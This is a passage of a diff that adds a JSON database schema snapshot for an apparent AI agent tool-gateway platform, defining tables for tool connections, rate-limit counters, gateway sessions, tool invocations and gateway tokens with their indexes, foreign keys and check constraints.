+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "tool_connection_installs_target_type_check": {
+          "name": "tool_connection_installs_target_type_check",
+          "value": "\"tool_connection_installs\".\"target_type\" in ('company', 'agent')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.tool_connections": {
+      "name": "tool_connections",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "application_id": {
+          "name": "application_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "uid": {
+          "name": "uid",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "connection_kind": {
+          "name": "connection_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'managed'"
+        },
+        "ownership": {
+          "name": "ownership",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'customer'"
+        },
+        "transport": {
+          "name": "transport",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "auth_kind": {
+          "name": "auth_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'none'"
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'draft'"
+        },
+        "enabled": {
+          "name": "enabled",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "config": {
+          "name": "config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "transport_config": {
+          "name": "transport_config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "credential_refs": {
+          "name": "credential_refs",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "credential_secret_refs": {
+          "name": "credential_secret_refs",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "health_status": {
+          "name": "health_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unchecked'"
+        },
+        "health_message": {
+          "name": "health_message",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "health_checked_at": {
+          "name": "health_checked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_health_at": {
+          "name": "last_health_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_catalog_refresh_at": {
+          "name": "last_catalog_refresh_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_error": {
+          "name": "last_error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_connections_company_idx": {
+          "name": "tool_connections_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_connections_application_idx": {
+          "name": "tool_connections_application_idx",
+          "columns": [
+            {
+              "expression": "application_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_connections_company_enabled_idx": {
+          "name": "tool_connections_company_enabled_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "enabled",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_connections_company_uid_uq": {
+          "name": "tool_connections_company_uid_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "uid",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_connections_company_id_companies_id_fk": {
+          "name": "tool_connections_company_id_companies_id_fk",
+          "tableFrom": "tool_connections",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_connections_application_id_tool_applications_id_fk": {
+          "name": "tool_connections_application_id_tool_applications_id_fk",
+          "tableFrom": "tool_connections",
+          "tableTo": "tool_applications",
+          "columnsFrom": [
+            "application_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "tool_connections_created_by_agent_id_agents_id_fk": {
+          "name": "tool_connections_created_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_connections",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {
+        "tool_connections_company_id_uq": {
+          "name": "tool_connections_company_id_uq",
+          "nullsNotDistinct": false,
+          "columns": [
+            "company_id",
+            "id"
+          ]
+        }
+      },
+      "policies": {},
+      "checkConstraints": {
+        "tool_connections_ownership_check": {
+          "name": "tool_connections_ownership_check",
+          "value": "\"tool_connections\".\"ownership\" in ('platform_shared', 'platform_provisioned', 'customer', 'dcr')"
+        },
+        "tool_connections_transport_check": {
+          "name": "tool_connections_transport_check",
+          "value": "\"tool_connections\".\"transport\" in ('mcp_remote', 'rest_api', 'local_stdio')"
+        },
+        "tool_connections_auth_kind_check": {
+          "name": "tool_connections_auth_kind_check",
+          "value": "\"tool_connections\".\"auth_kind\" in ('oauth', 'api_key', 'none')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.tool_gateway_rate_limit_counters": {
+      "name": "tool_gateway_rate_limit_counters",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "counter_key": {
+          "name": "counter_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "window_start_at": {
+          "name": "window_start_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "window_ms": {
+          "name": "window_ms",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "limit": {
+          "name": "limit",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "count": {
+          "name": "count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "reset_at": {
+          "name": "reset_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_gateway_rate_limit_counters_company_idx": {
+          "name": "tool_gateway_rate_limit_counters_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_gateway_rate_limit_counters_window_uq": {
+          "name": "tool_gateway_rate_limit_counters_window_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "counter_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "window_start_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_gateway_rate_limit_counters_company_id_companies_id_fk": {
+          "name": "tool_gateway_rate_limit_counters_company_id_companies_id_fk",
+          "tableFrom": "tool_gateway_rate_limit_counters",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_gateway_sessions": {
+      "name": "tool_gateway_sessions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_id": {
+          "name": "gateway_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_token_id": {
+          "name": "gateway_token_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_public_id": {
+          "name": "gateway_public_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_subject_type": {
+          "name": "client_subject_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_subject_id": {
+          "name": "client_subject_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_name": {
+          "name": "client_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "mcp_session_id": {
+          "name": "mcp_session_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "correlation_id": {
+          "name": "correlation_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "token_hash": {
+          "name": "token_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "revoked_at": {
+          "name": "revoked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_gateway_sessions_token_hash_uq": {
+          "name": "tool_gateway_sessions_token_hash_uq",
+          "columns": [
+            {
+              "expression": "token_hash",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_gateway_sessions_company_agent_idx": {
+          "name": "tool_gateway_sessions_company_agent_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_gateway_sessions_company_expires_idx": {
+          "name": "tool_gateway_sessions_company_expires_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_gateway_sessions_run_idx": {
+          "name": "tool_gateway_sessions_run_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_gateway_sessions_issue_idx": {
+          "name": "tool_gateway_sessions_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_gateway_sessions_gateway_idx": {
+          "name": "tool_gateway_sessions_gateway_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "gateway_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_gateway_sessions_company_id_companies_id_fk": {
+          "name": "tool_gateway_sessions_company_id_companies_id_fk",
+          "tableFrom": "tool_gateway_sessions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_gateway_sessions_agent_id_agents_id_fk": {
+          "name": "tool_gateway_sessions_agent_id_agents_id_fk",
+          "tableFrom": "tool_gateway_sessions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_gateway_sessions_run_id_heartbeat_runs_id_fk": {
+          "name": "tool_gateway_sessions_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "tool_gateway_sessions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_gateway_sessions_issue_id_issues_id_fk": {
+          "name": "tool_gateway_sessions_issue_id_issues_id_fk",
+          "tableFrom": "tool_gateway_sessions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_gateway_sessions_project_id_projects_id_fk": {
+          "name": "tool_gateway_sessions_project_id_projects_id_fk",
+          "tableFrom": "tool_gateway_sessions",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_gateway_sessions_gateway_id_tool_mcp_gateways_id_fk": {
+          "name": "tool_gateway_sessions_gateway_id_tool_mcp_gateways_id_fk",
+          "tableFrom": "tool_gateway_sessions",
+          "tableTo": "tool_mcp_gateways",
+          "columnsFrom": [
+            "gateway_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_gateway_sessions_gateway_token_id_tool_mcp_gateway_tokens_id_fk": {
+          "name": "tool_gateway_sessions_gateway_token_id_tool_mcp_gateway_tokens_id_fk",
+          "tableFrom": "tool_gateway_sessions",
+          "tableTo": "tool_mcp_gateway_tokens",
+          "columnsFrom": [
+            "gateway_token_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_invocations": {
+      "name": "tool_invocations",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "idempotency_key": {
+          "name": "idempotency_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "actor_type": {
+          "name": "actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'system'"
+        },
+        "actor_id": {
+          "name": "actor_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_id": {
+          "name": "gateway_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_token_id": {
+          "name": "gateway_token_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_public_id": {
+          "name": "gateway_public_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_subject_type": {
+          "name": "client_subject_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_subject_id": {
+          "name": "client_subject_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_name": {
+          "name": "client_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "mcp_session_id": {
+          "name": "mcp_session_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "correlation_id": {
+          "name": "correlation_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "application_id": {
+          "name": "application_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "catalog_entry_id": {
+          "name": "catalog_entry_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "catalog_version_hash": {
+          "name": "catalog_version_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "catalog_schema_hash": {
+          "name": "catalog_schema_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider_type": {
+          "name": "provider_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "application_key": {
+          "name": "application_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "upstream_tool_name": {
+          "name": "upstream_tool_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "risk_level": {
+          "name": "risk_level",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "tool_name": {
+          "name": "tool_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "arguments_hash": {
+          "name": "arguments_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "arguments_summary": {
+          "name": "arguments_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "policy_decision": {
+          "name": "policy_decision",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "matched_policy_ids": {
+          "name": "matched_policy_ids",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "policy_explanation": {
+          "name": "policy_explanation",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "credential_scope_summary": {
+          "name": "credential_scope_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "header_policy_summary": {
+          "name": "header_policy_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "approval_state": {
+          "name": "approval_state",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'not_required'"
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "upstream_request_id": {
+          "name": "upstream_request_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "result_hash": {
+          "name": "result_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "result_summary": {
+          "name": "result_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "result_size_bytes": {
+          "name": "result_size_bytes",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "result_artifact_id": {
+          "name": "result_artifact_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error_code": {
+          "name": "error_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error_message": {
+          "name": "error_message",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "completed_at": {
+          "name": "completed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_invocations_company_created_idx": {
+          "name": "tool_invocations_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_invocations_run_idx": {
+          "name": "tool_invocations_run_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_invocations_issue_idx": {
+          "name": "tool_invocations_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_invocations_gateway_idx": {
+          "name": "tool_invocations_gateway_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "gateway_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_invocations_company_idempotency_uq": {
+          "name": "tool_invocations_company_idempotency_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "idempotency_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_invocations_company_id_companies_id_fk": {
+          "name": "tool_invocations_company_id_companies_id_fk",
+          "tableFrom": "tool_invocations",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_invocations_agent_id_agents_id_fk": {
+          "name": "tool_invocations_agent_id_agents_id_fk",
+          "tableFrom": "tool_invocations",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_invocations_issue_id_issues_id_fk": {
+          "name": "tool_invocations_issue_id_issues_id_fk",
+          "tableFrom": "tool_invocations",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_invocations_run_id_heartbeat_runs_id_fk": {
+          "name": "tool_invocations_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "tool_invocations",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_invocations_gateway_id_tool_mcp_gateways_id_fk": {
+          "name": "tool_invocations_gateway_id_tool_mcp_gateways_id_fk",
+          "tableFrom": "tool_invocations",
+          "tableTo": "tool_mcp_gateways",
+          "columnsFrom": [
+            "gateway_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_invocations_gateway_token_id_tool_mcp_gateway_tokens_id_fk": {
+          "name": "tool_invocations_gateway_token_id_tool_mcp_gateway_tokens_id_fk",
+          "tableFrom": "tool_invocations",
+          "tableTo": "tool_mcp_gateway_tokens",
+          "columnsFrom": [
+            "gateway_token_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_invocations_application_id_tool_applications_id_fk": {
+          "name": "tool_invocations_application_id_tool_applications_id_fk",
+          "tableFrom": "tool_invocations",
+          "tableTo": "tool_applications",
+          "columnsFrom": [
+            "application_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_invocations_connection_id_tool_connections_id_fk": {
+          "name": "tool_invocations_connection_id_tool_connections_id_fk",
+          "tableFrom": "tool_invocations",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "connection_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_invocations_catalog_entry_id_tool_catalog_entries_id_fk": {
+          "name": "tool_invocations_catalog_entry_id_tool_catalog_entries_id_fk",
+          "tableFrom": "tool_invocations",
+          "tableTo": "tool_catalog_entries",
+          "columnsFrom": [
+            "catalog_entry_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_mcp_gateway_tokens": {
+      "name": "tool_mcp_gateway_tokens",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "gateway_id": {
+          "name": "gateway_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "token_hash": {
+          "name": "token_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "token_prefix": {
+          "name": "token_prefix",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "''"
+        },
+        "subject_type": {
+          "name": "subject_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'gateway_client'"
+        },
+        "subject_id": {
+          "name": "subject_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_label": {
+          "name": "client_label",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "''"
